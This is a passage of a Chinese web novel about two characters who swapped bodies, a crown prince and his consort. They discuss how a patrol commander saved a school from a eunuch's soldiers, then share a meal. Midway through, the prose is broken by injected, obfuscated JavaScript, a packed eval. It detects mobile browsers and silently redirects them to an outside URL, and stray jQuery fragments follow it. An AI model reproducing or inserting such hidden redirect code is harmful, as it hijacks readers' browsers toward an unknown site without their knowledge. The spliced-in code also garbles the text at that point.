“一看就,就都很好吃嘛。”时珉捏着筷子,视线掠过面前所有菜肴,没有落在某一个菜上。
“每个人口味不同,再好吃的菜,总会有人喜欢吃,有人不喜欢吃,这很正常。”
“嗯嗯……”时珉抿起嘴,抬手筷子落在半空中,没有下筷,心里有什么话呼之欲出。然后,她把筷子放在桌上,“一墨,学堂里是怎么回事?那些侍卫是汪志祥的人吗?你认识吗?还有金夫人,都是你的……呃,你也认识吗?”
褚一墨也放下筷子,垂眸浅笑着说道:“那些侍卫不是汪志祥的人,是巡捕营。”
“巡捕营?”
“嗯,职责之一是负责城区治安。”
几个时辰前,汪志祥派人封锁学堂,不让任何人出入。褚一墨在大牢里看到陈夫子的惨状,尚存一口气,命不久矣。褚一墨迅速飞鸽传书给在京城内巡逻的巡捕营统领秦子阵。
“你们可以撤了,力行学堂的治安现在由巡捕营接管。”
“秦统领,我们没有接到命令。”
“这是宫里下达的命令,还不快让开!”
接着,汪志祥派的第二队人马赶到力行学堂,见门口已有士兵把守。
“力行学堂暗植己见,传播谬论,欺蒙百姓,我等奉汪公公之命,将学堂即刻拆除。”
秦子阵看了眼来人数量、品阶职级,说道:“巡捕营负责京城治安,力行学堂此前遭贼人闯入,宫里下达命令,由巡捕营调拨专人前来巡守学堂。”
“宫里?我们也是宫里下达的命令。”
“京城治安由巡捕营负责,阁下若要承担部分职责,可有皇帝陛下下达的任免诏书?”
“我们是汪公公的亲兵,要什么诏书?”
“恕在下无法让行,巡捕营负责守卫京城,城里有任何异动,巡捕营首当其冲。在下猜想阁下作为汪公公的‘亲兵’,首要职责是保护汪公公的安全,若有其他职责,还请提供文书证据,可让巡捕营免于担责。”
带头的走近秦子阵,目露凶光,“你敢抗命,不怕汪公公抽筋拨皮么?”
“是,是,”秦子阵点点头,将手里一个东西悄悄递给带头的,“大家都是奉命行事,别让我们为难嘛。”
带头的看着手里的东西,花纹繁复小巧精致的盒子,打开一看,是胭脂。
“我要这种东西做什么!”
“阁下稍安勿躁,这可是嘉宝斋的胭脂,价值连城呢!贵妃用了都说好!”
带头的定睛看着胭脂盒子,两眼一眯,语气犹疑:“真是宫里下来的命令?”
“是啊,是啊。”
“也罢,那我也可以回去交差了。大白天的,谁想干这破活!”
“是啊,是啊,诸位辛苦了,这里的事情就交给我们吧。”
时珉皱着眉头听完褚一墨说的话,问道:“一个胭脂盒子,为什么能让拆学堂的士兵离开?你又和秦子阵是……什么关系?”
“秦子阵此前在京城巡逻的时候,我遇到点小麻烦,他帮过我,便认识了。”
“啊!英雄救美啊!”
“咳咳……后来,我得知汪志祥想把巡捕营纳入自己阵营里,要让秦子阵和他亲信臣子的女儿成婚。秦子阵不同意。”
“竟然不同意,难道说……”时珉又惊又急,“你们……”
“秦子阵已心有所属,是他的青梅竹马……”
“真的是青梅竹马!”
褚一墨按住时珉挥起来的手,“他的青梅竹马,是胭脂商人的女儿,两情相悦,秦子阵绝不就范。于是,我帮了他。”
“不、不是你啊?”时珉有点找揍地笑嘻嘻说道。
褚一墨嘴巴闭成一条线,眼里满是无奈,“怎么可能是我呢?”
“那你用的什么办法?”
“我把胭脂商人的胭脂介绍给了宫里的贵妃,贵妃很喜欢。商人也很有诚意,不论是品质还是价格。而且商人会为贵妃单独研制胭脂,贵妃用得开心,皇帝陛下也满意,胭脂商人的地位保住了,他女儿的婚事也就成了。所以,我和秦子阵还有他的妻子,有些交情。”
“我的妈呀,一墨你可真厉害啊!”
“那金夫人呢?”
“金嘉华,就是秦子阵的妻子。”
“啊?”时珉惊掉下巴,心情起起伏伏像是坐上了过山车。
“嗯,是啊。就是刚才那位。她对经营酒楼更感兴趣,于是就开了嘉华酒楼,而且她精于此道,嘉华酒楼很短时间内就在京城有了口碑。”褚一墨语气平淡,优哉游哉地说道。
“哦……是这样啊。”时珉顿时觉得刚刚自己脑子里一大堆胡思乱想有些多余。
“嗯,我说完了。我也有问题想问珉儿。”
“啊?你说。”
“你为什么要帮学堂?”
“啊?”时珉像是听到了什么匪夷所思的问题一样。
要怎么解释呢,就好像要去解释为什么要吃饭喝水。
“嗯,汪志祥拿莫须有的事情责难学堂,又看不惯我们推行的科举,若是在这里让步了,以后他会得寸进尺,然后把我们之前所作的所有努力全部推翻掉。”
“陈夫子是否有异心,或者异心是否能成为罪证,仍需刑部定夺,虽然汪志祥一意孤行,但是你我在未知全貌的情况下不敢下定论。我得到的消息,学堂招收女子,或许是原因之一。但即便如此,离推行科举之间的关系拐了好几个弯。”
时珉眸光渐渐暗了下来。
褚一墨轻轻握住时珉的手腕,“不是不赞成你救人。我的意思是,不是每一个人求助的人都是善意的。”
时珉与眼前的人目光交汇。
“这次或许是真,但是难保下次,到底是求助还是利用。如果你要帮助别人、要保护别人,你要知道自己是为了什么。”
时珉的目光左右游移,“他都这么说了……”
“我不管他说,我只管你。”
时珉抬眼,眸光落在褚一墨的眼里,他的眼神坦然,毫无遮掩。
她感觉心脏重重地跳动了一下,然后躲开褚一墨的目光。
褚一墨松开她的手腕,“我倒也有个忙想让你帮帮我。”
“什么啊?”
褚一墨下巴抬了抬,点点桌上的菜,“再不吃就要凉了,趁味道还香,选出三个你觉得味道最好的。”
时珉瞬间从刚才莫名的紧张和躁动情绪中解放出来,两眼放光,终于拿起筷子,开吃。
她每一个菜都夹了一筷子,这个不错,那个也不错。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808229|209191||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“这个金汤酸菜鱼不错,麻辣香酥鸡也不错,这个蜜汁赤叉烧,我记得你喜欢吃的,也不错,还有这个红糖糯米丸子……”
“你真的觉得,这个好吃?”
“嗯,你之前不就喜欢吃这个嘛?我现在在你的身体里面,应该也喜欢的吧。”
褚一墨微微皱了下眉,语气放慢了一些,“我此前未经历过如此离奇的事情,所以不是太懂。不过我想,现在这具身体里的灵魂是你,或许你的想法也会改变这具身体喜欢的东西?”
时珉不知为何,有些心不在焉地点头,“嗯嗯,可能吧。”
“所以,我们要不要试一下,你单纯地感受自己,什么菜,可以让你现在这具身体感到愉悦?”
“单纯地感受?”
“是的,单纯地只听你现在的身体告诉你的感受,你喜欢什么。不加修饰,不额外添加主观的想法,只是去感受。”
“嗯……”
“去发现新东西,就像探险一样。”
时珉一侧嘴角扬起,眯着眼睛,“嗯,有意思。”
接着,时珉继续开吃。
她现在的身体还是更喜欢酸菜鱼、香酥鸡的味道和口感。辛辣感像小针一样刺激着舌面,刺激传入大脑,大脑有种从紧绷的思绪中唰地一下抽离出来的感觉,随之带来酥麻的快感。
吃太多辛辣的东西可能会导致味觉暂时性地麻痹,这个时候,她的舌头和口腔更喜欢清甜爽口的东西,不是像红糖、豆沙这样绵密浓郁的甜,是那种入口之后可以联想到微风清水的、放松的感觉,比如荔枝薄荷冰。就像是刚刚从火焰山里出来,下了一场及时甘露。
味觉、嗅觉、触觉以及感官体验所带来的感受竟然这样丰富,时珉此前未曾好好感受过这具身体。融合了时珉的灵魂之后,这具身体的感知也会有些变化。
一番酣畅淋漓的冒险结束,时珉眼神有些涣散,“吃饱了,一点儿也吃不下了。”
“相当有收获啊。”褚一墨忍俊不禁,嘴角挂笑,“事情总算结束了,吃一顿好的犒劳一下。”
时珉一下子精神起来,“其实,还没结束。”
“为什么?”
“你用巡捕营保住了力行学堂一次,很难保证汪志祥不会因为此事为难巡捕营。而且,我在礼部拿到一份名录,上面有不少学堂。你说得对,我不能保证这份名录是否真实,是否就是汪志祥要拿来开刀的学校,但是现在学堂本就不多,想要求学的人没有机会。或许这个时候,我们想办法保住其他学校,并且还可以推波助澜。”
“你是有想法了?”
“如果你我暂时无法从现在的身份跳脱出来,作为太子和太子妃,在朝廷中就需要有人助力。礼部尚书易之棘,之前在我还是太子的时候曾经暗中帮助过我,我认为此人可以合作。”
“易之棘?”褚一墨眼帘低压,手指摩挲茶杯,“你认识?你什么时候认识他的?”
“去礼部打杂的时候,其他人表面毕恭毕敬,暗中使绊子,就只有他看上去冷若冰霜,说话直接不留情面,但实际上暗暗帮了我一把。我觉得他对太子的态度并不排斥,你可以试试看他能不能合作。”
“也好。”
易之棘,什么时候出现的人物……